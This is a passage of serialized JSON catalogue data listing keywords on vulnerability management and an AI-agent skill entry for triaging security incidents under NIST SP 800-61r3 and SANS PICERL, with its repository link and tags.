framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":239,"name":240,"nameZh":6,"description":241,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":242,"categories":243,"keywords":245,"publishedAt":44},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[244],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[118,246,43,247,248,249,250,251,252,253,254,180,255,181,256,257,258,259,260,261],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]